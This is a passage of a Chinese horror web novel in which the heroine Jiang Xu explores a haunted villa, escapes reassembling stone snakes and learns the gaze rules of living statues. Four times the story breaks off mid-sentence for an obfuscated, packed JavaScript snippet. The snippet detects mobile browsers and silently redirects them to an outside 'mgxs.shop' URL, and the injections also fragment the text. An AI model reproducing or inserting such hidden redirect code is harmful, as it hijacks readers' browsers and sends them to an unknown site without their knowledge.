姜栩翻动了一些书籍和笔记,看大多数都是跟转世投胎一类有关的,还有一些神狐鬼怪的传说,甚至还记载了九尾狐形象的嬗变,太专业了,姜栩有点看不懂,于是继续去搜索书桌别的地方。 别的抽屉里也都塞满了类似的书和手稿,只有一个抽屉上了锁,姜栩晃动了两下锁头,打不开,于是她开始使用蛮力,使劲儿一拽,锁舌被她拽断了。 姜栩非常满意地把抽屉里面的东西拿出来翻翻看,发现这是一本县志。 县志的年代已不可考,总之看起来非常久远,纸张已经泛黄发脆,上面的字体也非常细小。 别的抽屉都是凌乱地塞满了各种杂志和手稿,只有这个抽屉,空空荡荡只放了这一本县志,还上了锁,可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587148|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主人的重视程度。 姜栩就也很重视地将这本县志来回翻看。这本县志原主人应该翻看过很多遍,已经起了毛边,而且有几页是反复看过的,在上面进行反复圈画,姜栩认真阅读下来,发现是关于狐仙的传闻。 大概意思是,很久很久以前,这个村子里面有一个废弃的娘娘庙,原本香火非常稀薄。结果某一天,一只野狐狸偷食香火,化身成狐仙,寄居在娘娘庙当中,保佑百姓,造福一方,从此娘娘庙就变得香火鼎盛。 但其实这个狐仙不是真正的狐仙,而是狐妖,人们向狐妖许愿都能达成所愿,是因为狐妖会吸食人类的精气滋养自身以作为报酬,最后狐妖受到了天道的惩罚,被天雷劈死。 一个很神奇的故事。 但是,天道? 姜栩清清楚楚看到了县志里有关天道的记载。她留了个心眼,把这本杂志卷一卷,塞在外套兜里,怨境中的东西貌似没办法带出去,但现在她还没有找到怨境的入口,目前还处于现实世界之中。 姜栩总感觉自己和天道之间有某种勾连,就像一个人如果频繁出现在你眼前,如果不是天定的缘分,那就是对方有意而为之。 要是有命出去的话,姜栩决定好好研究一下这个天道是怎么回事。 姜栩从书房退出来,又走进第二扇门,是一间非常大的卧室,在打开门的一瞬间,一股香味飘出来,应该是香水的味道,已经过了这么多年,这间卧室居然还有香水的残留味道,虽说已经很淡,但在这样充满霉味和焦糊味道的别墅里,反而让人汗毛倒竖。 卧室很大,正中央一个圆形的大床,被子掀开,床边一个梳妆台,上面摆满了各种瓶瓶罐罐,姜栩看了一下,大概认出是粉底液口红一类,她拿起还没有拆封的几个,看了一下出厂日期,发现这些日期基本集中在二零零四年前后。 她记得在小区门口保安亭看见的登记册上的日期,也是零四年,距今已经几十年了。 姜栩把瓶瓶罐罐翻检了一遍,去翻衣柜的时候,终于顿悟自己感觉的不对劲主要体现在哪了。 这个卧室的装潢以及陈设很明显属于一个女孩子,衣柜里的衣服个个看起来昂贵且价值不菲,有很多衣服即便放到如今也并不过时,再加上梳妆台上铺天盖地的化妆品,一切的一切都在说明房间的主人应该是一个非常讲究且爱美的女孩子。 这样一个讲究爱美的女孩,她的房间里没有镜子。 甚至是梳妆台上,最应该有镜子的地方也没有镜子。梳妆台上本来应该有镜子的,现在只剩下固定镜框留下的三个螺孔。镜子被拆掉了。 姜栩翻动化妆品,打开粉饼、眼影盘一类本该有镜子的盒子,但是打开之后,原本是镜子的地方只剩下胶水的痕迹,就连这里面小小的镜片都被抠掉了。 她立刻转身进配套的卫生间,发现洗手台上方,本该有镜子的位置,同样只剩下光秃秃的墙面和几个螺孔。 没有镜子,这个别墅里面没有镜子。 “滴——哒哒哒——” 一片寂静的黑暗中,忽然响起了玻璃珠坠地的声音,这个声音在居民楼里特别常见,据说是空气振动产生的,此刻在空旷寂静的黑暗中显得非常诡异,姜栩甚至能从声音感受到它滚动的轨迹。 那声音由远及近,滴溜溜滚到姜栩背后几步远的地方,停下来了。 好像有一只眼睛隐在黑暗中,在身后静静注视着姜栩。 15. 【塞拉庄园】石蛇 姜栩是一个背对着门口的姿势,她面对着眼前高大的书柜,并不敢回头去看。 那玻璃珠的声音在她身后停下,之后就是死一般的寂静,越是安静,姜栩越不敢轻举妄动,背后的汗毛一根一根竖起来。 姜栩微微侧过身子,试图从书柜的玻璃门的反光看到身后的情况。 月色很亮,穿透的窗外的浓雾,如同泼洒的水银一样从窗口翻涌进来,把房间照得雪亮,姜栩在玻璃中最先看到自己倒影。 在月色中,一切都只是影像,没有颜色,唯独姜栩的右眼在玻璃的反光中呈现金色的光晕,像是有人在瞳孔深处点亮了一盏小小的灯,又像是眼球里封着一枚金币,在月光下转了个角度,突然折射出一道锐利的光芒。 她僵硬地站在原地,盯着玻璃中自己的眼睛,那只眼睛也盯着她。明明是自己的眼睛,她却觉得无比陌生,好像有另外一个人正透过她的眼眶往外看。 姜栩看得久了,好像眼前的眼睛已经不是自己的眼睛,眼前的脸也不是自己的脸,看久了就会不认识自己,姜栩感觉有点眼花,她眨眨眼睛,呼出的气体喷洒在玻璃柜门上,似乎看见那玻璃如同平静的水面被吹皱一样,泛起了层层涟漪。 姜栩后腿两步,确信这扇玻璃门真的在融化,如同一池春水,涟漪从中心向外扩散,一圈一圈,越来越快,越来越急,忽然之间,整个玻璃门变成了一个深不见底的漩涡。 姜栩马上反应过来,她迅速后退,然而为时已晚,一股巨大的吸力把她整个人拽了进去,卷进了旋涡里。 那种感觉很难形容。 姜栩感觉到脑子都要被摇匀了,好像整个人被塞进了马桶里按下了冲水键,一阵天旋地转,姜栩好像被冲进了下水道,在黑暗的管道里翻滚着下坠。 混乱过后,姜栩感觉自己的双脚重新踩到了地面,但那种踩在地上的实感并没有让她安心,因为就在同一时间,她的视线重新聚焦,发现自己还是保持着那个盯着身后的姿势。 周围的一切都和刚才一模一样,好像什么都没变过,如果不是喉咙一阵一阵往上反酸水,姜栩恐怕也以为刚才的一切都是自己的错觉,可是她的心脏明明还在剧烈跳动,脑海中那种眩晕的感觉还未散去,心跳连带着她的额头的血管嘣嘣作响。 姜栩大喘气中,借着澄明的月光,看见身后一个模糊的长条影子,立在几步远的地方。 姜栩在镜子里看见它了,它也察觉到姜栩在透过镜子看它,两者均按兵不动,紧接着,姜栩听见了锐利的破风声音。 对面的东西终究沉不住气,主动发起了攻击。 姜栩迅速回头,右手抡起消防斧,手臂肌肉绷紧,腰腹发力,斧头划出一道弧线,朝着她以为的脑袋位置狠狠劈了下去。 “哗啦——” 并没有预想中切入□□的手感,而是硬碰硬,震得姜栩手臂一阵发麻,斧刃和石头撞击的声音在空荡荡的房间里炸开,火星四溅,姜栩的虎口被震得发麻,差点握不住斧柄,无数石头碎块哗啦啦砸在地上。 从碎块和躯体剩下的不分,姜栩看清这是一条蛇,非常粗壮,在月光下泛着森森的冷光,这是一条石头雕刻而成的蛇。 正常的蛇根本不可能长得这么粗这么大,直立起来的上半身顶到天花板,那还是在姜栩已经砍掉了它的脑袋的前提下。 假如它的脑袋还在,姜栩在脑袋里补充那个画面,一定是低垂着巨大的头颅,吐着信子,红宝石一样的眼睛凝视着自己,它身上的鳞片是那样清晰,呈现出石头的纹路来。 这条蛇应该是柱子上盘着的装饰,之前是石雕,现在活过来了。 姜栩回忆了一下自己刚刚进入别墅大门的时候,在大厅里看到四根柱子,那时她所有的注意力都在搜索宴会厅上,只模糊看见柱子上确实都有花纹,只是没细看,如今细想,四根柱子,起码四条这么大的蛇埋伏在暗处。 姜栩确定自己已经进入怨境之中,怨境的主人不死,怨境中的一切怪物都不死,果然地上的石块簌簌抖动,发出咔咔咔咔的声响。 姜栩眼睁睁看着这些碎石飞起来,在空中旋转,碰撞,拼接,像倒放一段爆炸录像,碎块找准了自己的位置,鳞片咬合鳞片,转瞬之间,那条石头蛇又重新拼了起来。 它立起上半身,昂首挺立,脑袋微微向后仰,做出一个即将攻击的姿态,空洞的眼窝死死锁定了她。 “嗖——”一声,蛇头弹射过来,速度飞快,姜栩侧身躲过,顺手把斧头横扫过去,把蛇头从脖子处劈断,她下手从来盯准脑袋和脖子,干脆利落,然而失去脑袋的蛇身并没有停下来,它像是根本不需要脑袋,粗壮的尾巴横扫过来,带着呼呼的风声,抽向姜栩的小腿。 姜栩跳起来躲过去,然而随着蛇的行动,它所到之处就跟小猫掉毛一样掉落一地的小碎石头,姜栩落地的时候靴底踩到一块碎石,脚下一滑,整个人踉跄了两步,差点摔倒。 她顺势往旁边一滚,滚到了书桌后面,用书桌挡住了大半个身体。 那半截蛇身开始重新长出头来,墙角的碎石也飞了回去,重新拼合,昂着脑袋洋洋得意,这个东西可以无限重组,每一斧头劈下去都是白费力气,而她的体力是有限的,现在已经能感觉到手臂开始发酸了,再这么耗下去,等她力气耗尽的时候,就是这条蛇把她缠死的时候。 不可恋战,姜栩假装继续攻击,一边四下里张望,寻找破绽。 她对着蛇头连着劈了两斧头,趁它重新拼合,她猛地从书桌后面窜出去,绕过蛇的身体,一把抓住门框,把自己从门里甩了出去。 身后传来石头碰撞的哗啦声,那条蛇已经重新拼好了,正在追上来。 走廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587149|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里月光满地。 姜栩头也不回地往楼梯方向跑。 跑到楼梯口,姜栩面临两个选择,一个往上,一个往下,巨蛇紧跟着就要咬到她的屁股,姜栩只用了零点一秒决定往上走。 楼下她已经探索过了,楼上还没去过,该做的事还是要做,哪怕背后有蛇在追。 三楼是这栋别墅的最高一层,楼梯比一楼到二楼的那一段要窄得多,也没有了铁艺扶手,墙皮剥落得很厉害。姜栩三步并作两步跑上去,却看到一扇铁栅栏门横在面前。 栅栏门是从地面一直通到天花板,每一根铁条都有拇指那么粗,上面挂着一把锈迹斑斑的铁锁。 姜栩抓住铁条用力晃了两下,铁栅栏纹丝不动,铁锁发出沉闷的撞击声。 姜栩凑近了往里看,栅栏门后面是一条短短的走廊,走廊尽头是另一扇门,门半开着,里面隐隐约约透出一些光来,似乎是摇曳的烛光。 姜栩饶是臂力大,然而要直接掰弯铁条也是不太可能的事情,何况情况紧急,她没有太多时间同铁栅栏较劲,大蛇见姜栩被堵住,放慢了追击的速度,“嘶嘶”吐着信子,满身碎石稀里哗啦地游过来,对食物志在必得。 姜栩一边与巨蛇缠斗,但并不恋战,借着自己身体比较小的优势,从大蛇攻击的空隙中再次调换战场,绕到蛇后,顺着楼梯往下跑。 一楼的厅堂比自己刚进来的时候更加明亮,月光从巨大的窗户倾泻进来,照得整个大厅亮如白昼。那些盘在柱子上的石蛇,一条一条从柱子上松脱下来,粗壮的身体滑过大理石地面,稀里哗啦的声音充斥耳畔。 巨蛇从身后追上来,姜栩连后退的路也被堵塞了。 原来被蛇群围攻是这种感觉,鼻尖萦绕的都是石头的味道,还能感觉到灰尘粉末呛入肺腑,那些蛇影不紧不慢离她越来越近。 姜栩握着消防斧,做攻击姿态。 眼前这些蛇似乎也知道眼前的人不好对付,因此非常谨慎,并没有贸然攻击,又或者它们想要用压迫感来刺激姜栩,享受猎物极度恐惧之下的绝望和挣扎。 姜栩才不会如它们所愿,她抡起斧头,往左攻击,实则虚晃一枪,往玩方向逃窜,在靠近窗户的时候抡圆了手臂,调转斧头的方向,用斧背一面砸向窗户的框架。 玻璃哗啦一声应声碎裂,姜栩整个人跟着摔出窗户,落在窗外柔软湿润的草地上,雾气四散腾飞,又很快归于平静。 雾气在草地上缓慢地流动,贴着地皮,像一条灰白色的河。四周安静得可怕,连虫鸣都没有,只有她自己粗重的呼吸声一下一下地响在耳边。 从破开的窗口回望,那些蛇并没有追出来,它们似乎是有领地的,外面并不是它们的领地,所以它们停滞在月光照亮的大厅中,似乎又变回了石像,惨白的石头面孔均朝着姜栩的方向,一动不动盯着她。 16. 【塞拉庄园】女战神 这栋别墅的草地上和整个小区的风格一样,充满了欧式的雕塑。 在院子的正中央,有一个已经废弃的花坛,花坛的正中央立着一个纯白的雕塑,那是一个女战神的形象,穿着古希腊式样的长裙,裙摆顺着拖下来,也是石头的质感,但更加细腻,每一道衣褶都雕刻得轻薄柔软,像是真的布料被风吹起来之后凝固在了那个瞬间。 她手中持弓箭,面向门外,张弓搭箭,仿佛是要将入侵者剿灭,呈保护的姿势。 姜栩摔出来的时候,就看见她挺拔的背影,月光照在她身上,朦胧中仿佛真是天神下凡,周身泛起一圈白色的光晕。 姜栩踉跄着站起来,动静惊动了她,姜栩就看见原本背对着自己的女战神雕塑忽然回头,那双空洞的白色的眼窝正对着她,好像她真的能看见她一样。 只能说月下看美人是真的,月光把石头的质感变得柔和,光晕在女战神的皮肤上流动,好美。 这个姐姐,好美。 姜栩跟中邪了一样,心中只剩下这一个念头,她的身体塌下来,呈现一个非常放松的姿态,表明此时身体已经不受精神控制,手一松,消防斧掉落在地,姜栩一步一步向女战神走去。 月光安静地照着草地,雾气在她们之间缓缓流动,周围的一切都静谧美好,像是某幅古典油画里的场景。 忽然,姜栩脑子“轰”的一声,那感觉就像是在课堂上睡觉,而忽然意识到老师在看着自己一样,只需要一秒钟从梦境中挣扎出来,而现实把她吓出了一身冷汗。 姜栩已经走到了花坛的边缘,再一秒就要走进去了,花坛中也流动着雾气,而雾气之下是某种黝黑的物质,不知道是土地还是黑洞,姜栩一只脚已经踩在了花坛的边缘,只需要再迈一步,她就踏进去了。 姜栩连连后退,回身将斧头重新捞回手中,武器在手让她的心稍微安定了一些,可她还是忍不住偷眼看那女战神的塑像,看一眼,手上的斧头就会沉重一分,看一眼,沉重一分。 姜栩的眼睛又要闭上了。 不对! 她强迫自己清醒过来,发现手上的沉重感来源于石化,她的右手不知不觉已蒙上一层灰白的光泽,敲上去有石头的清脆的声音。 她正在变成石头,而且当她看女战神的时候,石化的部分就在变大,灰色从指尖蔓延到手掌,姜栩一低头,石化的进程随之停止,但没有褪去,姜栩试着动了动,指节纹丝不动,她已经失去了对这部分身体的操控权,这里彻底石化了。 要不,再看一眼吧。 姜栩听见有个声音对自己说,她那么美,我再看一眼。 仿佛美人鱼的歌声,吸引海上迷路的船员,像灯火吸引着飞蛾,姜栩不可遏制地抬头再看一眼女战神美丽的面容,结果,手背上的灰白色又往上蔓延了一截,越过了手腕,正在往小臂的方向蚕食。 姜栩猛地低下头,把视线死死钉在自己脚下那丛枯草上。 清醒过来的她浑身发抖,感觉到有东西在和自己争夺身体的支配权,她会慢慢失去自我,靠近女战神,全身石化,最后变成女战神的傀儡。 在她收回视线之后,石化的进程立刻停止,手腕上那道灰色和肉色的交界线稳定下来,不再往上爬。 不能看她。 禁止凝视石像。这是她总结出来的第一条规律。 但是这个规律执行起来比她想象的要难得多,石像在蛊惑她。 脚下的月色与雾气交融,沿着雾气看出去,一切景物都已被吞没,只能看见栅栏上锈迹斑斑的铁尖在雾里若隐若现,像是溺水的人伸出的手指。 草坪两侧是另外两栋别墅,轮廓也在雾里模糊成了一团灰影,沉默阴冷地蹲在雾中,像是两只巨大的石兽。 她已经深陷怨境之中,除非杀死怨境,否则她无法离开,天上的月亮特别圆,仿佛黑色的幕布上镶嵌着一只巨大的眼睛,冷冷地盯着姜栩,姜栩抬头同她对视,试图看到眼睛背后的主使人。 就是你,把我推到这条路上来的吗? 如果主使人就是天道,那么姜栩走到如此绝境,就是命运使然吗?她曾经经历的一切,她在孤儿院长大,没有感受过父母的爱护,因为臂力大,在大学加入的散打俱乐部,参加比赛,这些也都是命运使然吗? 每个人都在天道的监视之下,每个人都在既定的命运之中,无论如何挣扎,都如小鱼撞在玻璃缸壁,难以逃脱。 理清楚了这个情况之后,姜栩反而冷静了一些。恐惧对生存没有任何帮助,这个道理她早就学会了。她现在要做的是两件事:第一,保证自己不被石化;第二,找到杀死怨境的办法。 第二件事暂时没有头绪。 第一件事也不容易。 因为那个女战神就在那里,月光从她身后打过来,把她的轮廓镀成一层柔和的银灰色,像是一尊被精心安放在露天美术馆里的藏品,每一寸线条都在诉说着某种超越了时间和生死的美。 她的身影像一块磁铁,而姜栩的眼睛就是铁屑。 姜栩低着头看草地,但余光里有她。 她告诉自己不要抬头,但脖子会不由自主地动,像是有一根看不见的线系在她的下巴上,一点一点地往上提。她每次都要用很大的力气才能把目光拽回来,看一眼,就看一眼,这么美的东西为什么不看呢?看一眼又不会怎么样。 姜栩伸手握住斧刃,用力,让锋利的斧刃刺入皮肤,手心的疼痛让她清醒了片刻,逼退了心中蠢蠢欲动的温柔引力。 她得回到别墅去。 但是现在的问题是,她进不去了。 女战神张弓搭箭站在院子里,背对着别墅大门,面朝外面,张弓搭箭,这个姿态本身就是一个宣告,入侵者杀无赦。 姜栩进入怨境之后从别墅中仓皇出逃,以女战神的视角来看,不折不扣的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587150|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入侵者。 姜栩还想转身回去,哪有那么容易,女武神已调转方向,调整弓箭的角度,姜栩灵敏的耳朵听见了弓弦绷紧的声音,在她迈出脚的那一刻,一支箭凌空而来,还好姜栩躲闪及时,就地滚开。 她还想用对付巨蛇的招数,贴着地面钻进别墅大门,女战神的箭矢如同落雨,密密麻麻,封锁姜栩前进的道路,问题姜栩根本不敢看她,只要看见哪怕一片衣角都会被石化,只能凭借声音躲闪。 太超模了,姜栩心想,她受到命运的指引从善如流地进来,说她信任命运也好,说她挑衅命运也罢,姜栩的一贯性格是面对必然到来的事情她会选择迎难而上,没想到这里面这么难。 这么密密麻麻的箭,女战神的弹药如此充足吗?就算是季容来了也躲不过去吧! 幸好女战神虽然勇猛,但对姜栩这个懵懂的入侵者手下留情,她似乎看出她不是恶意闯入,厉声道:“宴会就要开始,闲杂人等请立刻离开!” 一边说着,手上的动作不停,用箭把姜栩逼到花园的角落里,外面就是浓稠的雾气,能见度非常低,不知道里面到底有什么,女战神可不管这些,她只负责驱逐,不过姜栩在她的话里捕捉到一个机会:“我也是来参加宴会的。” 话音刚落,三支箭接连插在她身边的草地上,其中一支箭擦着她的左肩飞过去,箭头扎进她身后两步远的草地里,整支箭的箭杆还在嗡嗡地颤动。 那不是羽毛箭,整支箭从头到尾都是石头的,箭头粗得像小孩的手腕,要是被这一箭射中,不用等石化,直接就会被钉死在地上。 女战神有些生气了:“身份!” “什么?” 姜栩被逼得接连后退,半个身子已经隐没在雾气中,背后未知的危险悄然逼近,女武神只一味驱逐:“没有身份的人不能进来。” 身份,身份,姜栩接连后退,整个人都隐没在雾气中,眼前的别墅似乎亮起了灯,在大雾中变成了一个灯塔一样的存在,在黑漆漆的别墅区当中吸引着众人,姜栩听见身后的草地传来窸窸窣窣的脚步声,非常惊悚,这黑暗的别墅区里竟然不知一个人。 她回头细看,在朦胧的月色下,能看见雾气中出现一个个黑影,摇摇晃晃,身形缓慢,成群结队,好像小时候看的美式恐怖片里,墓地的尸体复活,一个个趁着夜色从土里爬出来,摇摇晃晃地逼近主角所在的地方。 姜栩大脑飞速旋转,试图给自己一个能够进别墅的合理的身份。 首先这是个宴会,要进去应该有请柬,姜栩思考要不要随机抓住一个幸运观众然后抢一张请柬过来,不过这东西有没有都是一回事,万一是电子请柬呢! 还有一个身份,姜栩心中隐约有个猜测,不过也不能确定,要验证这个猜测,她就得从现在的别墅,逆行回别墅区的大门口。方才进来的时候,还没有进入怨境,现在已经进入怨境当中,怕不会那么容易了。 17. 【塞拉庄园】找到规律 女战神站在花坛上,居高临下,视野覆盖整个草坪。 姜栩紧紧攥着斧刃,强忍住回头看她的冲动,心一横,咬牙冲向雾气之中,一直到雾气把别墅全部吞没,女战神的身影也隐没其中,她才放松下来。 雾气中的身影离她更近,前有猛虎,后有追兵,姜栩一时进退两难,把消防斧换到流血的右手上,摆出战斗的姿态。 石板路两侧各有一排雕像。刚才她来的时候,这些雕像都是站在底座上的,一动不动,姿态各异,有的是捧着水罐的少女,有的是手持竖琴的乐师,有的是牵着猎犬的猎人,都是欧式庭院里常见的那种装饰雕塑。 现在他们都从底座上下来,站在石板路中央,保持着赶路的姿势,不过动作僵硬缓慢,此时面朝姜栩,月光照在它们惨白的石头眼窝上,所有的头都在随着姜栩的动作微微转动,像是向日葵跟着太阳。 姜栩赶紧低下头,饶是如此,她的余光还是瞥见了那个捧着水罐的少女身上,她温柔的脸部轮廓吸引着让人不自觉想要靠近,姜栩只看到了那么不到一秒钟的视线就立刻避开视线,右手的石化界限就又推进了一点。 不可以看我,一点也不行。 她在女战神那里总结出来的规律,不可以直视塑像。 难道跟36栋402一样,这个任务也得蒙上眼睛才过得去吗? 姜栩脱下外套,蒙在自己的脑袋上,相比在36栋402情况非常危急,她只能用布条把眼睛缠住,这个做法给自己留了足够的空间,一个视力正常的人在面对黑暗的时候难免会迟疑害怕,忍不住要睁开眼,她也一样。 只是用衣服蒙住脑袋,透过不料的缝隙,还能隐隐约约看见前面的地面,而有意避开雕像,果然,她感觉到那个少女从自己身边经过,石料做成的裙摆擦过姜栩的身体。 两个人擦肩而过,只要不凝视雕塑,就不会被石化,也不会被攻击,比自己想象中容易。 姜栩在有限的视线里摸索着向前走,听见身边窸窸窣窣的脚步声,这些塑像浑身僵硬,走起来也很慢,跟丧尸片里的丧尸一样,不过好在没有攻击性。 如果姜栩能站在上帝视角的话,她会发现,在她蒙着脑袋闭着眼睛喜滋滋往前走的时候,那些脚步声全是朝她来的,许多雕塑缓慢地朝她围过来,因为她的视线受阻,本身走得也不快,所以雕塑虽然慢,但也慢慢形成了一个包围之势,很像别墅区门口喷水池上白雪公主和七个小矮人的样子。 那七个小矮人伸手的伸手,伸腿的伸腿,都在往姜栩的方向努力。 因为太慢,所以声音不明显,因为声音不明显,所以等姜栩的耳朵捕捉到那个声音的时候已经晚了,她只来得及侧一下肩膀,一股巨大的力量砸在她的后背右侧,好像一块石板被人轮圆了拍在她身上。 姜栩整个人摔倒在地,一把扯下蒙头的衣服:“干什么啊你,不讲武德!” 但当她怒气冲冲地直视着已经形成一个半包围圈的雕塑时,这些雕塑又保持着攻击的姿势,一动不动了。 姜栩意识到不好,赶紧收回视线,发现右手的石化并没有继续,这是这么回事?她再次抬起头,离她最近的雕塑高高举起手中的小提琴,眼看着就要砸到她的脑袋。 这可是石头雕刻的,幸好刚才是打在后背上,姜栩本身就是练散打的,挺抗打,这要是抡在脑袋上,施瓦辛格来了也得脑浆迸裂乌珠迸出啊,姜栩下意识抬手格挡,却发现此人一动不动,并没有进一步的动作。 难道是直视雕塑会石化的规则消失了?现在是不直视才会被攻击? 姜栩这么想着,又往旁边看去,旁边的雕塑是一个梳着羊角辫的小女孩,姜栩扭头的时候余光能看见她视线收回之后,那些围绕着自己的雕塑又在蠢蠢欲动,幸好动作足够缓慢。 一旦姜栩的视线和小女孩接触,哪怕不看正脸,姜栩立刻感觉到右手变得更加沉重,石化的部分在扩大蔓延。 姜栩悟了。 这玩意儿骗她! 雕像分男女,女雕像不能看,越看越有杀伤力,她的武器是注视本身,靠被注视触发石化。 男雕像越不看他就越有杀伤力,因为他会在你看不到的地方发动攻击,但是只要你注视他,就可以抵抗攻击,很简单的抵抗方式,但输在防不胜防,雕塑太多了,随着时间的推移,越来越多的雕像的影子出现在雾气伸出,姜栩此刻被半包围,已经顾此失彼,忙得不亦乐乎,看完你的看你的。 眼珠子都要抽筋了。 这是两条完全相反的规则。 女雕像是“凝视她就会被石化”,所以必须躲避目光,不能看她。男雕像是“不看他就会被攻击”,所以必须直视他,盯着他的一举一动,不能让他离开自己的视线范围。 它们在规则上是对称的,一个在明处释放蛊惑,一个在暗处发动攻击,一个是眼睛的陷阱,一个是视线死角的危机。 姜栩以为低头看路是在保护自己不受女雕像石化,结果恰恰把自己暴露在了男雕像的攻击范围之内,差点被打死。 那她能不能用女雕像去对付男雕像,比如把女雕像绑在自己身后,自己又看不见她,她又能帮自己解决身后的敌人,岂不美哉? 说干就干,姜栩挑选了刚才那个小女孩,闭着眼睛朝她的方向摸索,这个小女孩雕塑体型小,背在身上没那么重。可是姜栩的手指刚刚触摸到小女孩的身体,一股凉意瞬间从指尖直窜天灵感,她的右手以飞快的速度石化,一眨眼间已经蔓延到小臂。 姜栩赶紧缩回手,石化停止,她总结到了第三条规则,女雕像不能看,不能碰。 那男雕像呢?如果把男雕像的眼睛蒙住,让他看不见自己,那他是不是就不知道自己看没看他?姜栩很乐观地想,总要有解决办法吧,总不会真的必须要挨个直视才能阻止雕像的攻击,那除非让《西游记》里的百目星君过来,寻常人哪里有这个本事? 姜栩这么想着,把外套随手套到一个男雕塑的头上,隔绝了两人之间的视线,然后故意不看他。 雕塑动了,逐步抬头扬手,明确是朝着姜栩这边来的。 姜栩真的怒了,他们不靠眼睛,完全可以察觉视线,姜栩的视线只能让他们定格原地,但转移之后他们又会恢复行动,女雕塑的注视会让人石化,石化就是彻底不能动了吧?但姜栩没有女雕塑那双眼睛,难道要挖下她们的眼睛塞进自己的眼眶里? 姜栩回忆了一下,这些雕塑的眼睛都是雕刻出来的,压根就没有装眼球,且女雕塑在这个世界观里类似于神一样的存在,不能看也不能摸,就算是姜栩可以在自己完全石化之前挖出她的眼球,她也没有眼球,根本无从下手。 姜栩默默叹气,还真是一点办法都没有呢。她再次抬头看天幕上冷淡的月亮,自己进来这么久了,月亮并未西斜,仿佛时间停滞,它冷冷凝视着地表的一切,看姜栩如同一只秋后的蚂蚱一样使劲儿蹦跶,然而最后还是逃脱不了死亡的命运。 姜栩蹲在地上,把外套从那个男雕塑头上扯下来重新穿好,一边穿一边在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587151|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里给自己做了个简短的局面评估。结论是:确实一点办法都没有。 她这么想着,内心其实很平静的,跟念天气预报一样的:今天夜间到明天白天,多云转阴,局部地区有石雕围殴,伴有间歇性石化,出门请携带消防斧,注意躲避女性目光,男性目光请逐一直视,一个都别落下。 “还真是一点办法都没有呢。”她把这句话又说了一遍,这回说出了声,语气里带着一种认认真真的无奈,就像一个人打开冰箱发现里面只剩下半根蔫了的黄瓜,饿是饿,但也没打算为此哭一场。 她不是那种会对着命运叹气的人。不是因为她乐观,也不是因为她勇敢,而是她打小就没养成这个习惯,她实在经历了太多叹气没办法解决的事情,比如叹气不会让孤儿院的饭菜变好吃,打比赛的时候叹气也不能让敌人的拳头变轻一点。 当然很多时候她也会骂骂咧咧甚至哭泣,她不介意用哭和叹气去表达情绪,但是比较介意试图用哭和叹气去解决问题。死亡这个东西,她不是不怕。但怕和急是两回事。就算她是一只秋后的蚂蚱,那她也要在腿被冻僵之前多蹦跶几下。 更何况,月亮在天上挂着又怎样?它爱看就看。她在地上蹦跶,它在天上挂着,谁也不碍着谁。真到了蹦不动的时候再说。 刚才那一轮手忙脚乱的挨个对视已经让她摸清了附近雕像的大致类型,目前能看见的义工是九个雕像,五个男性,四个女性。男性雕像里有那个举小提琴的乐师、一个握着手杖的老人、一个牵着猎犬的猎人、一个穿西装的中年男人,还有一个光着上半身、肌肉线条夸张得像是古希腊运动会海报上扒下来的年轻男子。 女性雕像她没敢细看,九个雕像,五种不同的攻击方式和石化强度,全都挤在一条不到三米宽的石板路上,像是早高峰地铁站里排队等上车的人,只不过这群人等的不是地铁,是她。 她现在把视线控制在一个非常狭窄的范围内,大概就是自己脚尖前方两尺左右的地面,偶尔抬头扫一眼男性雕像的位置,扫完立刻把目光收回来,绝不给任何一个女性雕像进入视野的机会。 姜栩没打算让男性雕像完全不动,那不可能,在摸清了男性雕塑的行动速度之后,她只要把他控制在比自己慢的范围内就可以了,而且石板路上有影子,真到了男性雕塑和女性雕塑离得很近的时候,男性雕塑移动,地上的影子也会跟着动。 姜栩只要靠影子的变化来判断雕像离自己的远近,以便随时调整战略就可以了。 天上的月亮本来在看热闹,没想到自己给姜栩提供了生路。 姜栩利用这个规律,开始在雕像之间的缝隙里穿行。这不像战斗。这像在下棋。只不过棋盘上的每一颗棋子都在动,而且都想让她死。 